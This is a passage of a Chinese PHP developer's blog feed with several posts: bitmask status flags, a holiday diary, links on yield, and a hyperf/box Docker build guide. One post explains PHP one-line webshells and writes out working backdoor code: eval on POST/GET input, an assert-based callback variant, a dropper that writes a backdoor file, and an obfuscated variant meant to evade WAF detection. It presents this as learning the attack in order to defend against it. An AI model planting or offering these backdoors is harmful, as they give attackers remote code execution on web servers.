class="line">$list = [</span><br><span class="line"> '迟到', '早退', '缺上班卡', '缺下班卡', '地点异常', '设备异常'</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">$data = [];</span><br><span class="line">$start = 1;</span><br><span class="line">foreach ($list as $value) {</span><br><span class="line"> $data[$start] = $value;</span><br><span class="line"> $start = $start << 1;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">var_dump($data);</span><br></pre></td></tr></table></figure><table><thead><tr><th>状态</th><th>二进制</th><th>十进制</th></tr></thead><tbody><tr><td>正常</td><td>000000</td><td>0</td></tr><tr><td>迟到</td><td>000001</td><td>1</td></tr><tr><td>早退</td><td>000010</td><td>2</td></tr><tr><td>缺上班卡</td><td>000100</td><td>4</td></tr><tr><td>缺下班卡</td><td>001000</td><td>8</td></tr><tr><td>地点异常</td><td>010000</td><td>16</td></tr><tr><td>设备异常</td><td>100000</td><td>32</td></tr></tbody></table><p>比如可以用12=4+8,来标识<code>缺上班卡</code>并且<code>缺下班卡</code>,就可以代表<code>旷工</code></p><p>获取具有的权限进行展示</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$list = [</span><br><span class="line"> '迟到', '早退', '缺上班卡', '缺下班卡', '地点异常', '设备异常'</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">// 状态值设计</span><br><span class="line">$data = [];</span><br><span class="line">$start = 1;</span><br><span class="line">foreach ($list as $value) {</span><br><span class="line"> $data[$start] = $value;</span><br><span class="line"> $start = $start << 1;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// 现在有个权限是28,获取它的权限返回</span><br><span class="line">$num = 28;</span><br><span class="line">$digit = count($list);</span><br><span class="line">$numBin = dec2bin($num, $digit);</span><br><span class="line">$hasAuth = [];</span><br><span class="line">foreach (array_reverse(str_split($numBin)) as $index => $has) {</span><br><span class="line"> if ($has) {</span><br><span class="line"> $authority = $list[$index] ?? '';</span><br><span class="line"> $key = array_search($authority, $data);</span><br><span class="line"> if ($key) {</span><br><span class="line"> $hasAuth[$key] = $authority;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">echo $num .' 具有的权限有:'. implode('|', $hasAuth); // 28 具有的权限有:缺上班卡|缺下班卡|地点异常</span><br><span class="line"></span><br><span class="line">function dec2bin(int $num, $digit = 6): string</span><br><span class="line">{</span><br><span class="line"> return sprintf("%0{$digit}s", decbin($num));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="可能还有更多用法"><a href="#可能还有更多用法" class="headerlink" title="可能还有更多用法"></a>可能还有更多用法</h2><p>// todo</p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>通过一句话木马来看PHP的一些危操作</title>
<link href="https://blog.lihq.xyz/2022/11/26/ant-webshell/"/>
<id>https://blog.lihq.xyz/2022/11/26/ant-webshell/</id>
<published>2022-11-26T07:00:00.000Z</published>
<updated>2025-09-18T07:56:12.968Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="通过一句话木马来看PHP的一些危操作"><a href="#通过一句话木马来看PHP的一些危操作" class="headerlink" title="通过一句话木马来看PHP的一些危操作"></a>通过一句话木马来看PHP的一些危操作</h1><blockquote><p>一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能</p></blockquote><h2 id="先看一个示例"><a href="#先看一个示例" class="headerlink" title="先看一个示例"></a>先看一个示例</h2><h3 id="准备工具"><a href="#准备工具" class="headerlink" title="准备工具"></a>准备工具</h3><ul><li><a href="https://www.yuque.com/antswordproject/antsword">蚁剑</a> - 开源的跨平台网站管理工具</li><li><a href="https://github.com/lihq1403/gadget/blob/master/codeSnippet/webshell/ant.php">一个php文件ant.php</a> <code><?php eval($_POST['ant']);</code><br>-<a href="https://www.php.net/manual/zh/features.commandline.webserver.php">PHP内置web服务器</a></li></ul><h3 id="启动-ant-php"><a href="#启动-ant-php" class="headerlink" title="启动 ant.php"></a>启动 ant.php</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php -S 127.0.0.1:8000 ant.php</span><br><span class="line">[Sat Nov 26 13:27:08 2022] PHP 7.4.30 Development Server (http://127.0.0.1:8000) started</span><br></pre></td></tr></table></figure><h3 id="启动蚁剑-并添加数据"><a href="#启动蚁剑-并添加数据" class="headerlink" title="启动蚁剑 并添加数据"></a>启动蚁剑 并添加数据</h3><p><img src="https://blog-1256184194.file.myqcloud.com/img/202211/STLmV9.png" alt="image"></p><h3 id="发现新天地"><a href="#发现新天地" class="headerlink" title="发现新天地"></a>发现新天地</h3><h4 id="我的文件夹被发现啦"><a href="#我的文件夹被发现啦" class="headerlink" title="我的文件夹被发现啦"></a>我的文件夹被发现啦</h4><p><img src="https://blog-1256184194.file.myqcloud.com/img/202211/BtKXPY.png" alt="image"></p><h4 id="我的shell也被暴露啦"><a href="#我的shell也被暴露啦" class="headerlink" title="我的shell也被暴露啦"></a>我的shell也被暴露啦</h4><p><img src="https://blog-1256184194.file.myqcloud.com/img/202211/tTnKfW.png" alt="image"></p><h3 id="嘻嘻"><a href="#嘻嘻" class="headerlink" title="嘻嘻"></a>嘻嘻</h3><p>原来这就是木马,我的服务器权限被拿到了</p><h2 id="工作原理"><a href="#工作原理" class="headerlink" title="工作原理"></a>工作原理</h2><blockquote><p>仅仅靠着这一个文件就能提权webshell,简直可恶</p></blockquote><ul><li>依靠 <a href="https://www.php.net/manual/zh/function.eval">eval</a> 函数,执行了恶意代码</li></ul><p>先试试一个最简单的$_GET吧</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><?php @eval($_GET['shell']);</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ php -S 127.0.0.1:8000 eval.php</span><br></pre></td></tr></table></figure><p>我们打开浏览器,输入 <a href="http://127.0.0.1:8000/?shell=phpinfo()">http://127.0.0.1:8000/?shell=phpinfo()</a>;</p><p><img src="https://blog-1256184194.file.myqcloud.com/img/202211/iUkGVd.png" alt="image"></p><p>这时候可以通过看php的一些配置,轻松了解到当前服务器的大致情况,再发现一些 <a href="https://baike.baidu.com/item/0day%E6%94%BB%E5%87%BB/10687664">0day漏洞</a> 的话,就可以轻松实现攻击了</p><h3 id="本质:传递命令、执行命令"><a href="#本质:传递命令、执行命令" class="headerlink" title="本质:传递命令、执行命令"></a>本质:传递命令、执行命令</h3><p>一般来说,在php-fpm模式下,可以通过<code>$_GET $_POST</code>来向一个网站提交数据,所以一个标准的一句话木马是由两部分组成</p><ul><li>可执行代码的函数部分</li><li>接收数据的部分</li></ul><p>如<code><?php @eval($_GET['shell']);</code> eval 就是可执行代码的部分、$_GET[‘shell’] 就是接收数据的部分</p><p>所有的一句话木马,本质上都是这种朴素可靠的方式</p><blockquote><p>tips: 使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。</p></blockquote><h2 id="变种"><a href="#变种" class="headerlink" title="变种"></a>变种</h2><blockquote><p>为啥要变种呢,那还是不因为这种脚本已经被广大的waf拦截了<br>一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形<br>今天主要是学习一下怎么变种,而不代表这些真的能用,没去测试过哪些能绕过waf</p></blockquote><p>变种的时候,需要十分了解php的版本差异,如<a href="https://www.freebuf.com/articles/web/197013.html">php5和php7的安全</a>有了差异,导致一个木马并不能所有服务器都能跑,所以需要不断的适应,才能写出更好的木马</p><h3 id="变种常用函数"><a href="#变种常用函数" class="headerlink" title="变种常用函数"></a>变种常用函数</h3><table><thead><tr><th>函数</th><th>说明</th><th>官方说明</th></tr></thead><tbody><tr><td>eval</td><td>(PHP 4, PHP 5, PHP 7, PHP 8) 把字符串作为PHP代码执行</td><td><a href="https://www.php.net/manual/zh/function.eval">https://www.php.net/manual/zh/function.eval</a></td></tr><tr><td>assert</td><td>(PHP 4, PHP 5, PHP 7, PHP 8) 由于安全级别的判定,这个马失效了很多</td><td><a href="https://www.php.net/manual/zh/function.assert">https://www.php.net/manual/zh/function.assert</a></td></tr><tr><td>正则匹配类</td><td>preg_replace/ mb_ereg_replace/preg_filter等</td><td></td></tr><tr><td>文件包含类</td><td>include/include_once/require/require_once/file_get_contents等</td><td></td></tr></tbody></table><h4 id="assert"><a href="#assert" class="headerlink" title="assert"></a>assert</h4><blockquote><p><a href="https://www.php.net/manual/zh/function.assert">https://www.php.net/manual/zh/function.assert</a></p></blockquote><p>在php>=7.2版本后,禁用给assert()函数传入字符串参数,因为通过超全局常量$_GET[‘’]获取的攻击者输入是字符串,这样传入assert函数就触发了禁用。但是直接assert(phpinfo())传入的参数是函数,所以就不会触发函数禁用,可以正常回显</p><h4 id="call-user-func"><a href="#call-user-func" class="headerlink" title="call_user_func"></a>call_user_func</h4><blockquote><p><a href="https://www.php.net/manual/zh/function.call-user-func.php">https://www.php.net/manual/zh/function.call-user-func.php</a></p></blockquote><p>call_user_func 这个函数可以调用其它函数,被调用的函数是 call_user_func 的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。call_user_func + assert 构造的一句话木马在 php 7.0 版本及以下可以使用</p><p>call_user_func函数不能调用eval,因为eval是一个语言构造器而不是一个函数,不能被可变函数调用。call_user_func有两个参数,第一个参数要求是函数,而eval只是一个语言构造器而不是函数,所以不符合call_user_func的语法,调用eval就会报错</p><h4 id="preg-replace-callback"><a href="#preg-replace-callback" class="headerlink" title="preg_replace_callback"></a>preg_replace_callback</h4><blockquote><p><a href="https://www.php.net/manual/zh/function.preg-replace-callback">https://www.php.net/manual/zh/function.preg-replace-callback</a></p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);</span><br></pre></td></tr></table></figure><p>通过create_function“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert</p><h4 id="file-put-contents"><a href="#file-put-contents" class="headerlink" title="file_put_contents"></a>file_put_contents</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$test='<?php $a=$_POST["cmd"];assert($a); ?>';</span><br><span class="line">file_put_contents("muma.php", $test);</span><br></pre></td></tr></table></figure><p>利用函数生成muma.php木马文件</p><h4 id="php变量函数"><a href="#php变量函数" class="headerlink" title="php变量函数"></a>php变量函数</h4><p>eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。eval不能用,assert可以用(7.1之后不可用)</p><ul><li>PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。</li><li>可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。</li></ul><p>好文章:<a href="https://www.anquanke.com/post/id/173201/">浅谈eval和assert</a></p><p>php7之后assert()默认不再可以执行代码,waf只要把函数封死就可以有效的阻止webshell免杀,而eval并没有assert那么灵活</p><p>所以大部分依靠assert的小马,大面积失效啦</p><h2 id="todo-变种小马收集ing"><a href="#todo-变种小马收集ing" class="headerlink" title="todo 变种小马收集ing"></a>todo 变种小马收集ing</h2><h2 id="一个大马"><a href="#一个大马" class="headerlink" title="一个大马"></a>一个大马</h2><p>相当于在一个php文件里面写满了各种操作,针对一句话被查杀时,这个就能起一定的作用,大马里面一般都会写 文件管理、数据库管理,如 <a href="https://github.com/tennc/webshell/blob/master/php/angel%E5%A4%A7%E9%A9%AC.php">https://github.com/tennc/webshell/blob/master/php/angel%E5%A4%A7%E9%A9%AC.php</a></p><ul><li><a href="https://github.com/tennc/webshell">https://github.com/tennc/webshell</a><br>这个开源的webshell仓库中,我们能发现很多很有意思的写法,如<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">trait Dog</span><br><span class="line">{</span><br><span class="line"> public $name="dog";</span><br><span class="line"></span><br><span class="line"> public function drive()</span><br><span class="line"> {</span><br><span class="line"> echo "This is dog drive";</span><br><span class="line"> }</span><br><span class="line"> public function eat($a, $b)</span><br><span class="line"> {</span><br><span class="line"> $a($b);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Animal</span><br><span class="line">{</span><br><span class="line"> public function drive()</span><br><span class="line"> {</span><br><span class="line"> echo "This is animal drive";</span><br><span class="line"> }</span><br><span class="line"> public function eat()</span><br><span class="line"> {</span><br><span class="line"> echo "This is animal eat";</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Cat extends Animal</span><br><span class="line">{</span><br><span class="line"> use Dog;</span><br><span class="line"> public function drive()</span><br><span class="line"> {</span><br><span class="line"> echo "This is cat drive";</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">foreach (array('_POST') as $_request) {</span><br><span class="line"> foreach ($$_request as $_key=>$_value) {</span><br><span class="line"> $$_key= $_value;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$cat = new Cat();</span><br><span class="line">$cat->eat($_key, $_value);</span><br></pre></td></tr></table></figure></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li>在平时开发过程中,注意eval函数的使用,高风险</li><li>默认禁用的函数,总是高风险的。disable_functions</li><li>想法设法绕过waf检测的小马,很考验语言知识了,不断的变种很有趣</li><li>学会了攻击原理,那么防御起来也就能对症下药了</li></ul>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>看看yield</title>
<link href="https://blog.lihq.xyz/2022/10/27/look-yield/"/>
<id>https://blog.lihq.xyz/2022/10/27/look-yield/</id>
<published>2022-10-27T15:00:00.000Z</published>
<updated>2025-09-18T07:56:12.968Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="看看yield"><a href="#看看yield" class="headerlink" title="看看yield"></a>看看yield</h1><h2 id="缘由"><a href="#缘由" class="headerlink" title="缘由"></a>缘由</h2><p>在看hyperf源码时,发现了一个 CoordinatorManager::until(Constants::WORKER_START)->yield();</p><p>突然想到yield</p><p>很早之前就听说过这玩意,一直没咋去认真看看,印象只停留在foreach的内存优化上</p><p>看了一些文章,还是有些懵懵懂懂的,希望以后真的吃透后再写个自己的理解吧</p><h2 id="转载"><a href="#转载" class="headerlink" title="转载"></a>转载</h2><blockquote><p>个人认为不错的文章</p></blockquote><ul><li><a href="https://learnku.com/articles/45033">PHP yield 协程 生成器用法探究 (一)</a></li><li><a href="https://learnku.com/articles/46368">PHP yield from 生成器用法探究 (二)</a></li><li><a href="https://learnku.com/articles/46508">PHP yield 高级用法—同步编码,异步执行</a></li><li><a href="https://www.laruence.com/2015/05/28/3038.html">在PHP中使用协程实现多任务调度</a></li><li><a href="https://learnku.com/laravel/t/1442/php-using-yield-to-achieve-asynchronous-web-server">PHP用yield实现异步Webserver</a></li></ul><h2 id="嘻嘻"><a href="#嘻嘻" class="headerlink" title="嘻嘻"></a>嘻嘻</h2><p>最近心情不行,偷个懒</p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="转载" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/%E8%BD%AC%E8%BD%BD/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>国庆</title>
<link href="https://blog.lihq.xyz/2022/10/07/202210-national-day/"/>
<id>https://blog.lihq.xyz/2022/10/07/202210-national-day/</id>
<published>2022-10-07T15:00:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="2022-10-07"><a href="#2022-10-07" class="headerlink" title="2022.10.07"></a>2022.10.07</h1><blockquote><p>知不可乎骤得<br>托遗响于悲风</p></blockquote><p>今年的最后一个假期的最后一天啦<br>见了一些老朋友<br>不变的是大多数<br>变化的还是有不甘<br>时间过得越来越快<br>一生能得到和想拥有的东西太多了<br>而真正得到的又太少了<br>有些人和事错过了就是永远<br>可能多年以后回首<br>那些人和事都会在斑斓的岁月里变得模糊</p><h2 id="Get"><a href="#Get" class="headerlink" title="Get"></a>Get</h2><p>国庆七天<br>总的来说<br>还是开心多于遗憾<br>本来想做一些事<br>但放弃了<br>也做成了另外的事<br>还算不错</p><h2 id="Work"><a href="#Work" class="headerlink" title="Work"></a>Work</h2><p>接下来<br>连上七天班<br>哭死<br>感觉现在有点舒适圈了<br>这样不行呀<br>要努力</p><h2 id="Blog"><a href="#Blog" class="headerlink" title="Blog"></a>Blog</h2><p>好久好久<br>没有认真学习了<br>看着上一篇博文还是7月<br>本来这几天想写一个的<br>但还没写完<br>加油吧<br>活到老学到老<br>感觉现在自己有点颓废了</p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="闲聊" scheme="https://blog.lihq.xyz/categories/%E9%97%B2%E8%81%8A/"/>
<category term="life" scheme="https://blog.lihq.xyz/tags/life/"/>
</entry>
<entry>
<title>hyperf/box 尝尝鲜</title>
<link href="https://blog.lihq.xyz/2022/07/14/hyperf-box-experience/"/>
<id>https://blog.lihq.xyz/2022/07/14/hyperf-box-experience/</id>
<published>2022-07-14T13:30:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="hyperf-box-尝尝鲜"><a href="#hyperf-box-尝尝鲜" class="headerlink" title="hyperf/box 尝尝鲜"></a>hyperf/box 尝尝鲜</h1><blockquote><p><a href="https://github.com/hyperf/box">https://github.com/hyperf/box</a></p></blockquote><p>管理PHP环境和相关依赖项,提供将Hyperf应用程序打包为二进制程序的能力,并提供用于管理和部署Hyperf应用程序的反向代理服务。</p><h2 id="相关资料"><a href="#相关资料" class="headerlink" title="相关资料"></a>相关资料</h2><ul><li><a href="https://github.com/hyperf/box">https://github.com/hyperf/box</a> 在lwmbs的基础上,封装box命令工具</li><li><a href="https://github.com/dixyes/lwmbs">https://github.com/dixyes/lwmbs</a> 在micro的基础上,定制了swow脚手架的扩展</li><li><a href="https://github.com/easysoft/phpmicro">https://github.com/easysoft/phpmicro</a> micro自执行SAPI提供了php“自执行文件”的可能性</li></ul><h2 id="box-get-pkg-version"><a href="#box-get-pkg-version" class="headerlink" title="box get pkg@version"></a>box get pkg@version</h2><p>这个命令就是获取<code>dixyes/lwmbs</code>构建出来的包,目前支持<code>php8.0、8.1</code>、<code>micro</code>、<code>composer</code></p><p>如:box get <a href="mailto:php@8.1">php@8.1</a></p><h2 id="box-build-prepare"><a href="#box-build-prepare" class="headerlink" title="box build-prepare"></a>box build-prepare</h2><p>在build之前做一个预检查,检测项目是否全部下载:</p><ul><li>composer</li><li>php</li><li>micro</li></ul><p>都是去github上面进行下载,<a href="https://github.com/dixyes/lwmbs/actions">php与micro下载github</a></p><h2 id="build"><a href="#build" class="headerlink" title="build"></a>build</h2><p>打包swow-skeleton脚手架</p><ul><li>脚手架需要有 hyperf/phar</li><li>先执行了 php bin/hyperf.php phar:build 生成一个phar文件</li><li>再使用micro进行打包</li></ul><p>示例:在进行build-self时,执行的命令如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd ./src && /Users/lihq1403/.box/php8.1 -d phar.readonly=Off bin/hyperf.php phar:build --name=box-build.phar.tmp &&</span><br><span class="line"> cat /Users/lihq1403/.box/micro_php8.1.sfx ./box-build.phar.tmp > /Users/lihq1403/.box/box && </span><br><span class="line"> rm -rf ./box-build.phar.tmp</span><br></pre></td></tr></table></figure><h2 id="新的部署方式"><a href="#新的部署方式" class="headerlink" title="新的部署方式"></a>新的部署方式</h2><p>有了这种模式,是不是就可以将二进制文件放到一个很小的镜像去运行</p><h3 id="先构建一个box基础镜像吧"><a href="#先构建一个box基础镜像吧" class="headerlink" title="先构建一个box基础镜像吧"></a>先构建一个box基础镜像吧</h3><p>Dockerfile</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">FROM alpine:3.15</span><br><span class="line">LABEL maintainer="Hyperf Developers <group@hyperf.io>" version="1.0" license="MIT"</span><br><span class="line"></span><br><span class="line">ARG timezone</span><br><span class="line">ENV TIMEZONE=${timezone:-"Asia/Shanghai"} \</span><br><span class="line"> APP_ENV=prod</span><br><span class="line"></span><br><span class="line"># 下载box</span><br><span class="line">RUN wget https://github.com/hyperf/box/releases/download/v0.0.3/box_php8.1_x86_64_linux -O box \</span><br><span class="line"> && mv ./box /usr/local/bin/box \</span><br><span class="line"> && chmod 755 /usr/local/bin/box</span><br><span class="line"># 初始化</span><br><span class="line">RUN box config set github.access-token ************** \</span><br><span class="line"> && box build-prepare</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker build -t lihq1403/hyperf-box:8.1-alpine-v3.15-swow-0.0.3 .</span><br></pre></td></tr></table></figure><p>构建完了之后,发现镜像大小为88.2MB</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">~/.box # ls -lh</span><br><span class="line">total 47M</span><br><span class="line">-rwxr-xr-x 1 root root 2.6M Jul 11 02:14 composer.phar</span><br><span class="line">drwxrwxrwx 2 root root 4.0K Jul 11 02:15 licenses</span><br><span class="line">-rwxr-xr-x 1 root root 21.9M Jul 11 02:15 micro_php8.1.sfx</span><br><span class="line">-rwxr-xr-x 1 root root 22.0M Jul 11 02:15 php8.1</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/bin # ls -lh</span><br><span class="line">total 33M</span><br><span class="line">-rwxr-xr-x 1 root root 32.5M Jul 11 02:11 box</span><br></pre></td></tr></table></figure><p>我构建了一个放到dockerhub</p><blockquote><p><a href="https://hub.docker.com/r/lihq1403/hyperf-box/tags">https://hub.docker.com/r/lihq1403/hyperf-box/tags</a><br>docker pull lihq1403/hyperf-box:8.1-alpine-v3.15-swow-0.0.3</p></blockquote><h3 id="接下来就是构建一个swow-skeleton脚手架的项目了"><a href="#接下来就是构建一个swow-skeleton脚手架的项目了" class="headerlink" title="接下来就是构建一个swow-skeleton脚手架的项目了"></a>接下来就是构建一个swow-skeleton脚手架的项目了</h3><p>初始化一个项目后,修改Dockerfile</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"># 构建阶段</span><br><span class="line">FROM lihq1403/hyperf-box:8.1-alpine-v3.15-swow-0.0.3 as box-build</span><br><span class="line"></span><br><span class="line">ARG timezone</span><br><span class="line">ENV TIMEZONE=${timezone:-"Asia/Shanghai"} \</span><br><span class="line"> APP_ENV=prod \</span><br><span class="line"> SCAN_CACHEABLE=(true)</span><br><span class="line"></span><br><span class="line">WORKDIR /opt/www</span><br><span class="line"></span><br><span class="line">COPY . /opt/www</span><br><span class="line">RUN box composer install --no-dev -o \</span><br><span class="line"> && box php bin/hyperf.php \</span><br><span class="line"> && box build --output=/opt --name=hyperf \</span><br><span class="line"> && /opt/hyperf</span><br><span class="line"></span><br><span class="line"># 运行阶段</span><br><span class="line">FROM alpine:3.15</span><br><span class="line"></span><br><span class="line">COPY --from=box-build ["/opt/hyperf","/opt/hyperf"]</span><br><span class="line"></span><br><span class="line">EXPOSE 9501</span><br><span class="line">ENTRYPOINT ["/opt/hyperf", "start"]</span><br></pre></td></tr></table></figure><p>这里采用了docker多阶段构建,生成二进制后,copy到一个基础镜像就可以运行了,缩小最后的镜像体积</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker build -t box-test .</span><br></pre></td></tr></table></figure><p>构建完,镜像大小为 43.15 MB</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/opt # ls -lh</span><br><span class="line">total 36M</span><br><span class="line">-rwxr-xr-x 1 root root 36.1M Jul 14 01:59 hyperf</span><br></pre></td></tr></table></figure><p>运行起来没问题</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ docker run box-test</span><br><span class="line">[INFO] HTTP Coroutine Server listening at 0.0.0.0:9764</span><br></pre></td></tr></table></figure><h2 id="知识扩展"><a href="#知识扩展" class="headerlink" 